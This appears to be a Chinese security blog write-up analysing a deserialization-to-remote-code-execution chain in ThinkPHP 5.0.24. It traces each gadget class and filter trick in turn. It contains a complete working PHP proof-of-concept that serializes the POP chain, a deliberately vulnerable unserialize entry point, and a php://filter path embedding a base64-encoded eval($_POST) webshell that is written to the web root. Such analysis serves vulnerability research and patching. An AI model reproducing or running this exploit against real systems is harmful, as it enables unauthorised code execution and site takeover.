Thinkphp 5.0.24反序列化漏洞导致RCE分析

1. 概述

总体思路就是先全局搜索可以利用的魔法函数作为入口，比如__destruct，然后再一步步构造pop链往漏洞触发点跳

根据大佬的指点漏洞触发点在thinkphp/library/think/console/Output.php的__call方法

public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args); ## 漏洞触发点，这里可以做为跳板，来触发漏洞
        }

        if ($this->handle && method_exists($this->handle, $method)) {
            return call_user_func_array([$this->handle, $method], $args);
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }

2. 环境搭建

Windows、PHPStudy(PHP5.6.27)、ThinkPHP5.0.24；

ThinkPHP5.0.24 下载地址如下：

https://www.thinkphp.cn/download/1279.html

搭建好如下图所示：

先来写一个入口函数，将application\index\controller\Index.php修改为：

namespace app\index\controller;

class Index
{
    public function index()
    {
        if(isset($_GET['data'])){
            #echo base64_decode($_GET['data']);
            #echo '
';
            #echo 'aaa';
            $data = base64_decode($_GET['data']);
            unserialize($data);
        }else{
            highlight_file(__FILE__);
        }
        #return '
 
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';
    }
}

至此环境就完全搭建好了。

3. POP链与POC

这里直接上大佬给的POP链图

poc如下：

namespace think\process\pipes;
abstract class Pipes
{
}

use think\model\Pivot;

class Windows extends Pipes
{
    private $files = [];

    function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think;

abstract class Model
{
    protected $append = [];
    protected $error;
    protected $parent;
}

namespace think\model;

use think\Model;
use think\console\Output;
use think\model\relation\HasOne;

class Pivot extends Model
{
    public $parent;

    function __construct()
    {
        $this->append = ["getError" => "getError"];
        $this->parent = new Output();
        $this->error = new HasOne();
    }
}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;

    function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model;
abstract class Relation
{
    protected $selfRelation;
    protected $query;
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{
    protected $bindAttr = [];
}

use think\db\Query;

class HasOne extends OneToOne
{
    function __construct()
    {
        $this->selfRelation = false;
        $this->query = new Query();
        $this->bindAttr = [1 => "file"];
    }
}

namespace think\console;

use  think\session\driver\Memcached;

class Output
{
    private $handle = null;
    protected $styles = [];

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ["getAttr"];
    }
}

namespace think\session\driver;

use think\cache\driver\File;

class Memcached
{
    protected $handler = null;
    protected $config = [];

    function __construct()
    {
        $this->handler = new File();
        $this->config = [
            'session_name' => '',
            'expire' => null,
        ];
    }
}


namespace think\cache\driver;
class File
{
    protected $options = [];
    protected $tag;

    function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false,
        ];
        $this->tag = true;
    }

    public function get_filename()
    {
        $name = md5('tag_' . md5($this->tag));
        $filename = $this->options['path'];
        $pos = strpos($filename, "/../");
        $filename = urlencode(substr($filename, $pos + strlen("/../")));
        return $filename . $name . ".php";
    }
}


use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));#payload

echo "\n";
$f = new File();
echo $f->get_filename();#获取shell的文件名

这里我自己也整理了一下poc画成了图的形式，方便理解

整个的一个调用栈为

index.php:8, app\index\controller\Index->index()
Windows.php:59, think\process\pipes\Windows->__destruct()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:163, file_exists()
Model.php:2267, think\Model->__toString()
Model.php:936, think\Model->toJson()
Model.php:912, think\Model->toArray()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Output.php:212, call_user_func_array()
Output.php:124, think\console\Output->block()
Output.php:143, think\console\Output->writeln()
Output.php:154, think\console\Output->write()
Memcache.php:94, think\session\driver\Memcache->write()
File.php:160, think\cache\driver\File->set()
File.php:160, think\cache\driver\File->set()

4. 漏洞分析

起点是thinkphp/library/think/process/pipes/Windows.php的removeFiles方法

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

跟进removeFiles方法

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            #var_dump($filename);
            #die();
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

跳板：可以看到里面有个file_exists判断，$filename为$this->files所以我们可控，如果$filename为一个对象，那么就会触发这个对象的__tostring方法

全局搜索__tostring方法，这里我们选择model类的tostring方法

但是呢因为这里的model是一个抽象类，其意义在于被扩展，所以我们不能让$this->files=new model，全局搜索一下看谁继承了model类

可以看到一共有两个，随便选一个即可，这里我选择的是pivot类

所以$this->files=[new Pivot()]

因此从上面的file_exists，我们就跳到了model类的tostring方法

跟进tojson方法

model.php   
   public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        #echo '123';
        #die();
        return json_encode($this->toArray(), $options);
    }

跟进toarray方法

model.php       
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性（必须定义获取器）
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

进入到toarray方法后，现在就应该考虑如何调用漏洞触发点即如何调用Output.__call()

这块一共有三处可以调用__call方法，根据大佬提示，这里我们选择第三处

如果我们找这一处作为跳板的话，我们就得让$value=new output();并且代码要能顺利执行到这里来

可以看到我们要到912行，需要经过几个判断

判断	处理
if (!empty($this->append))	$this->append这个我们是可控的，所以只要让其非空即可
if (is_array($name))	因为$name来自$this->append，所以也很好绕过，只要让$name不是数组即可
elseif (strpos($name, ‘.’))	因为$name来自$this->append，所以也很好绕过，只要让$name不包含.即可
成功进入else分支

现在我们要进入if (method_exists($this, $relation))里面

因为$relation来自$name，这里的parseName函数可以等价看成$relation=$name，而$name我们又可控所以$relation可控，我们只需要让$relation为一个model类存在的方法即可，经过一番观察发现，model类的getError()函数其功能简单，且返回值$this->error可控，所以这里的$relation=‘getError’；

接下来就执行了geterror函数，因为其返回值可控所以$modelRelation可控

继续往下走，进入getRelationData函数

刚才我们就说过为了能跳到output的__call方法，我们就得让$value=new output();

所以现在目的就是进入if并且让$value=new output();，因为$this->parent可控，所以进入if后赋值很简单，那么现在问题就是怎么满足if判断

第一个是$this->parent不能为null，这个变量我们可控所以不用担心

第二个是!$modelRelation->isSelfRelation()，得让其返回值不为空：

$modelRelation我们可控，所以得找一个包含有这个方法的类并且返回值不为空，可以看到Relation类有这个方法，但是这是一个抽象类，不能实例化，所以要找其子类

第三个是get_class($modelRelation->getModel()) == get_class($this->parent)，我们知道$this->parent要为output类，所以$modelRelation->getModel()也要返回为output类，其次我们也要要求$modelRelation必须要有getModel()方法，查找一下发现Relation这个类也有getModel()方法

所以这里总结下来就是：$modelRelation必须包含getModel()和isSelfRelation()方法，且$modelRelation必须为Relation的子类

所以$modelRelation就从下面这几个选吧

这里大概定了一下$modelRelation的范围，继续往下看

回到model.phpde 904行

可以看到$modelRelation需要有getBindAttr方法，继续全局搜索一下，发现onetoone这个类有这个方法，并且这个类也是onetoone的子类，ok那么我们就让$modelRelation为这个类

但是！这还是一个抽象类，不能进行实例化，所以我们得选择他的子类，一共有两个，选择哪个都无所谓，只是构造poc时有所不同罢了，这里我选择hasone类

所以$this->error=$modelRelation=new hasone()

# 梳理一下$modelRelation
$modelRelation=new hasone()继承onetoone继承relation

现在确定了$modelRelation再回去看看那个getRelationData函数

$this->parent 我们可控，这里为了让$value为output对象，所以让$this->parent=new output()

!hasone->isSelfRelation()，跟进isSelfRelation()，这里的$this->selfRelation我们可控，令其为false，可以使!$modelRelation->isSelfRelation()判断为真

get_class($modelRelation->getModel()) == get_class($this->parent))

跟进hasone->getModel()，这里的$this->query我们可控

全局搜索一下getModel()，发现query类的getmodel很好用，我们只需要让$this->query=new query，并且query类的$this->model为new output()即可

这样$modelRelation->getModel()的返回值就是output对象，又因为$this->parent为output对象，所以可使get_class($modelRelation->getModel()) == get_class($this->parent))判断为真

这样我们就进入了if里面并且让$value=new output()；

然后return $value;

返回到model.php的904行

hasone类存在getBindAttr方法所以进入if

进入$bindAttr = $modelRelation->getBindAttr();

跟进看一下，非常简单，$this->bindAttr我们可控，可以让$bindAttr为我们任何想要的对象

继续往下走，从906到907行我们可以看出来我们得让$this->bindAttr必须为一个非空的数组

然后到909行，这里的$this->data我们可控，直接让其为空，就可以到912行，终于到了我们想要的点！！！

这里的参数$attr是根据$bindAttr来的，而$bindAttr我们可控，所以$attr可控，这里的$attr取什么值都无所谓，重要的是$value=output()，因为output类没有getAttr方法，所以就可以触发output类的call方法了

跟进到output类的call方法

从最开始可知，我们要进入的是212行的漏洞触发点，所以要先满足if判断

首先$method为"getAttr"，而$this->styles我们可控，就让其等于[“getAttr”]即可进入if

进入后首先给$args数组插了一个值$method，这里无所谓，我们并不需要$args

接着往下走，调用block函数，跟进，可以看到调用了writeln方法，这里的参数是啥都无所谓，因为我们的payload不在这里

跟进，注意这里的第二个参数为true

继续跟进，这里的$this->handle我们可控，所以得找一个类作为跳板了，注意这里的$newline为true

全局搜索write函数，经过大佬指点，这里我们可以选择Memcached 类的write方法，所以令$this->handle=new Memcached ()

那就继续跟进，Memcached 类的$this->handler依然可控，因为think\cache\driver\File中的set() 方法可以写文件，所以我们这里的$this->handler=new file()

这样就调用了file类的set方法，注意这里的$sessData传参过来为true

跟进set方法

注意这里因为传参进来时$value=true，这就不能让我们写进去webshell了

但是确实第一次我们无法写入，我们继续往下走可以看到一个setTagItem方法，参数为$filename，跟进

我们可以看到在198行，$filename的值被赋给了$value，然后又调用了一次set方法，这时候文件名成了文件内容，所以说只要我们文件名构造的得当我们就能写入webshell

而$filename为getCacheKey产生的

跟进看看，这里的$this->options[‘cache_subdir’]，$this->options[‘prefix’]我们可控，所以很容易就不走这些分支。所以总的来说即首先给$name进行了MD5，然后在80行给其添加了一个前缀$this->options[‘path’]（这个我们可控）和一个后缀.php，最后return $filename

分析:$name我们可控但是会经过md5处理，所以不能写我们的payload，所以我们的payload就写在这个$this->options[‘path’]

返回之后继续往下走，可以看到

$data   = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

我们得绕过exit，因为就算我们写入了shell，但是执行到exit就结束了，并不会执行后面的shell代码

另外还有一点就是windows下写文件时文件名不能包含?、<这些字符，也就要求我们$filename里面不能包含?、<这些字符

本来我们的$this->options['path']='php://filter/write=string.rot13/resource=./'，但是很遗憾在windows下因为文件名包含了特殊字符所以这个payload不起作用

这里根据大佬的解答，我知道了payload应该这么写，我的理解是windows下写不能用rot13编码绕过exit，应该用base64编码绕过，但是由于伪协议中存在resource=所以会使的base64解码失败（base64编码的数据=号只会出现在最后，不会出现在中间），所以应该找一个解码器配合其使用所以找到了convert.iconv.utf-8.utf-7，这个首先把=变为+AD0-，然后这个刚好可以被base64解码这就使得解码时不会报错，我们的shell最终也就被成功的解码出来（注：这里的PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g解码出来就是一句话木马）

$this->options['path']='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php'

附上链接：https://xz.aliyun.com/t/7457

好了，回到刚才

如此，在第一次进入set时，

$filename = php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php

$data = //000000000000
exit();?>
b:1;

这时候会写入文件名为a.phpc9a7cef7c410e3ea21c4287f392fd663.php，内容为$data的文件

然后在161行进入setTagItem函数，参数$filename=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php

经过一些列处理，到198行时

$value = $name = php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php

$key = ‘tag_’ . md5($this->tag);

然后再执行一次set函数

经过getcachekey函数后

$filename为$this->options[‘path’].md5(‘tag_’ . md5($this->tag)).’.php’即php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.php3b58a9545013e88c7186db11bb158c44.php

$data为 //000000000000
exit();?>
s:154:“php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/…/a.phpc9a7cef7c410e3ea21c4287f392fd663.php”;

然后file_put_contents，在文件名是伪协议的帮助下，对内容$data首先convert.iconv.utf-8.utf-7解码然后convert.base64-decode解码并输出到文件中，文件名为a.php3b58a9545013e88c7186db11bb158c44.php

shell文件就在网站根目录下，打开看下，发现写入shell成功

来个phpinfo

5. 总结

这条链分析下来感觉收获很多也感觉很有意思，后面我还会继续分析thinkphp其他的反序列化，这次大概有几个要点梳理一下

1. file_exits作为入口点跳到model的tostring
2. Model类的__toString调用Output类的__call的条件
3. 二次调用set实现内容可控
4. 用过滤器绕过exit()
5. windows下文件名不能包含<、?特殊字符导致某些payload用不了
6. windwos下写文件的方法

6. 参考链接

附上各位大佬的链接：

https://www.anquanke.com/post/id/265088

https://www.anquanke.com/post/id/196364#h2-4

https://xz.aliyun.com/t/7457

https://blog.csdn.net/rfrder/article/details/114644844

https://xz.aliyun.com/t/10364

https://github.com/rama291041610/Thinkphp5.0.24-Unserialize-Vulnerability